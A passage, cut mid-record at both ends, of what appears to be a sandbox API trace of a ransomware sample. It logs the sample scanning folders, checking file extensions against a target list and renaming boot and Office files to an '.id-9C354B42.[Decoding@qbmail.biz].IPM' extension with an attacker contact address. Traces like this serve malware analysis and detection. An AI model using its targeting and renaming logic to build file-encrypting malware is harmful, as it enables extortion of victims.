ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0083.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3060 [0083.913] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.913] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0083.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee30e0 [0084.360] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.361] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0084.394] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3f74008, Size=0x40000) returned 0x3f13fe0 [0084.395] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0086.417] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3f13fe0, Size=0x80000) returned 0x41f0020 [0086.537] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0087.363] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 Thread: id = 15 os_tid = 0x7ac [0069.257] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38b0070 [0069.258] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38c0078 [0069.258] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff20 [0069.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a378 [0069.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff38 [0069.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3a70020 [0069.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff50 [0069.259] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ff50, Size=0x20) returned 0x6249a0 [0069.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff50 [0069.259] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ff50, Size=0x20) returned 0x6248b0 [0069.260] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0069.260] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0069.260] Wow64DisableWow64FsRedirection (in: OldValue=0x302ff58 | out: OldValue=0x302ff58*=0x0) returned 1 [0069.260] lstrlenW (lpString="kernel32.dll") returned 12 [0069.260] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6249a0 | out: hHeap=0x5d0000) returned 1 [0069.260] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0069.260] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6248b0 | out: hHeap=0x5d0000) returned 1 [0069.260] Sleep (dwMilliseconds=0x64) [0069.474] Sleep (dwMilliseconds=0x64) [0069.599] Sleep (dwMilliseconds=0x64) [0069.862] lstrcmpiW (lpString1=".ttf", lpString2=".IPM") returned 1 [0069.862] lstrlenW (lpString="kor_boot.ttf") returned 12 [0069.862] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.870] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2371360) returned 1 [0069.870] CloseHandle (hObject=0x1bc) returned 1 [0069.874] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0069.874] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.874] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0069.874] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.874] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.874] lstrlenW (lpString=".doc") returned 4 [0069.874] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0069.874] lstrlenW (lpString=".docx") returned 5 [0069.874] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0069.874] lstrlenW (lpString=".pdf") returned 4 [0069.874] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0069.875] lstrlenW (lpString=".xls") returned 4 [0069.875] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0069.875] lstrlenW (lpString=".xlsx") returned 5 [0069.875] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0069.875] lstrlenW (lpString=".ppt") returned 4 [0069.875] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0069.875] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.875] lstrlenW (lpString=".zip") returned 4 [0069.875] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0069.875] lstrlenW (lpString=".rar") returned 4 [0069.875] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0069.875] lstrlenW (lpString=".bz2") returned 4 [0069.875] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0069.875] lstrlenW (lpString=".7z") returned 3 [0069.875] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0069.875] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.875] lstrlenW (lpString=".dbf") returned 4 [0069.875] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0069.875] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.875] lstrlenW (lpString=".1cd") returned 4 [0069.875] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0069.875] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.876] lstrlenW (lpString=".jpg") returned 4 [0069.876] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0069.876] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.876] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.876] lstrlenW (lpString=".doc") returned 4 [0069.876] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0069.876] lstrlenW (lpString=".docx") returned 5 [0069.876] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0069.876] lstrlenW (lpString=".pdf") returned 4 [0069.876] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0069.876] lstrlenW (lpString=".xls") returned 4 [0069.876] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0069.876] lstrlenW (lpString=".xlsx") returned 5 [0069.876] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0069.876] lstrlenW (lpString=".ppt") returned 4 [0069.876] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0069.876] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.876] lstrlenW (lpString=".zip") returned 4 [0069.876] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0069.877] lstrlenW (lpString=".rar") returned 4 [0069.877] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0069.877] lstrlenW (lpString=".bz2") returned 4 [0069.877] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0069.877] lstrlenW (lpString=".7z") returned 3 [0069.877] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0069.877] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.877] lstrlenW (lpString=".dbf") returned 4 [0069.877] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0069.877] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.877] lstrlenW (lpString=".1cd") returned 4 [0069.877] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0069.877] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0069.877] lstrlenW (lpString=".jpg") returned 4 [0069.877] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0069.877] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.877] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.877] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.878] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=88144) returned 1 [0069.878] CloseHandle (hObject=0x1bc) returned 1 [0069.878] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0069.878] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.878] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.878] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.878] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.878] lstrlenW (lpString=".doc") returned 4 [0069.878] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.878] lstrlenW (lpString=".docx") returned 5 [0069.878] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.878] lstrlenW (lpString=".pdf") returned 4 [0069.878] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.879] lstrlenW (lpString=".xls") returned 4 [0069.879] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.879] lstrlenW (lpString=".xlsx") returned 5 [0069.879] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.879] lstrlenW (lpString=".ppt") returned 4 [0069.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.879] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.879] lstrlenW (lpString=".zip") returned 4 [0069.879] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.879] lstrlenW (lpString=".rar") returned 4 [0069.879] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.879] lstrlenW (lpString=".bz2") returned 4 [0069.879] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.879] lstrlenW (lpString=".7z") returned 3 [0069.879] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.879] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.879] lstrlenW (lpString=".dbf") returned 4 [0069.879] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.879] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.879] lstrlenW (lpString=".1cd") returned 4 [0069.879] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.879] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.879] lstrlenW (lpString=".jpg") returned 4 [0069.879] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.880] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.880] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.880] lstrlenW (lpString=".doc") returned 4 [0069.880] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.880] lstrlenW (lpString=".docx") returned 5 [0069.880] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.880] lstrlenW (lpString=".pdf") returned 4 [0069.880] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.880] lstrlenW (lpString=".xls") returned 4 [0069.880] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.880] lstrlenW (lpString=".xlsx") returned 5 [0069.880] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.880] lstrlenW (lpString=".ppt") returned 4 [0069.880] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.880] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.880] lstrlenW (lpString=".zip") returned 4 [0069.880] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.880] lstrlenW (lpString=".rar") returned 4 [0069.880] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.880] lstrlenW (lpString=".bz2") returned 4 [0069.880] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.880] lstrlenW (lpString=".7z") returned 3 [0069.880] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.880] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.880] lstrlenW (lpString=".dbf") returned 4 [0069.881] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.881] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.881] lstrlenW (lpString=".1cd") returned 4 [0069.881] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.881] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0069.881] lstrlenW (lpString=".jpg") returned 4 [0069.881] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.881] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.881] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.881] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.881] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=90704) returned 1 [0069.881] CloseHandle (hObject=0x1bc) returned 1 [0069.881] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0069.882] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.882] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.882] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.882] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.882] lstrlenW (lpString=".doc") returned 4 [0069.882] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.882] lstrlenW (lpString=".docx") returned 5 [0069.882] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.882] lstrlenW (lpString=".pdf") returned 4 [0069.882] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.882] lstrlenW (lpString=".xls") returned 4 [0069.882] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.882] lstrlenW (lpString=".xlsx") returned 5 [0069.882] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.882] lstrlenW (lpString=".ppt") returned 4 [0069.882] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.882] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.882] lstrlenW (lpString=".zip") returned 4 [0069.882] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.882] lstrlenW (lpString=".rar") returned 4 [0069.882] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.882] lstrlenW (lpString=".bz2") returned 4 [0069.883] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.883] lstrlenW (lpString=".7z") returned 3 [0069.883] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.883] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.883] lstrlenW (lpString=".dbf") returned 4 [0069.883] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.883] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.883] lstrlenW (lpString=".1cd") returned 4 [0069.883] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.883] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.883] lstrlenW (lpString=".jpg") returned 4 [0069.883] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.883] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.883] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.883] lstrlenW (lpString=".doc") returned 4 [0069.883] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.883] lstrlenW (lpString=".docx") returned 5 [0069.883] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.883] lstrlenW (lpString=".pdf") returned 4 [0069.883] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.883] lstrlenW (lpString=".xls") returned 4 [0069.883] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.883] lstrlenW (lpString=".xlsx") returned 5 [0069.884] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.884] lstrlenW (lpString=".ppt") returned 4 [0069.884] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.884] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.884] lstrlenW (lpString=".zip") returned 4 [0069.884] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.884] lstrlenW (lpString=".rar") returned 4 [0069.884] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.884] lstrlenW (lpString=".bz2") returned 4 [0069.884] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.884] lstrlenW (lpString=".7z") returned 3 [0069.884] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.884] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.884] lstrlenW (lpString=".dbf") returned 4 [0069.884] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.884] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.884] lstrlenW (lpString=".1cd") returned 4 [0069.884] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.884] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0069.884] lstrlenW (lpString=".jpg") returned 4 [0069.884] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.885] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.885] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.885] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.885] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=90704) returned 1 [0069.885] CloseHandle (hObject=0x1bc) returned 1 [0069.885] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0069.885] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.885] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.885] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.885] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.885] lstrlenW (lpString=".doc") returned 4 [0069.885] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.885] lstrlenW (lpString=".docx") returned 5 [0069.885] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.886] lstrlenW (lpString=".pdf") returned 4 [0069.886] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.886] lstrlenW (lpString=".xls") returned 4 [0069.886] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.886] lstrlenW (lpString=".xlsx") returned 5 [0069.886] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.886] lstrlenW (lpString=".ppt") returned 4 [0069.886] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.886] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0069.886] lstrlenW (lpString=".zip") returned 4 [0069.886] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.886] lstrlenW (lpString=".rar") returned 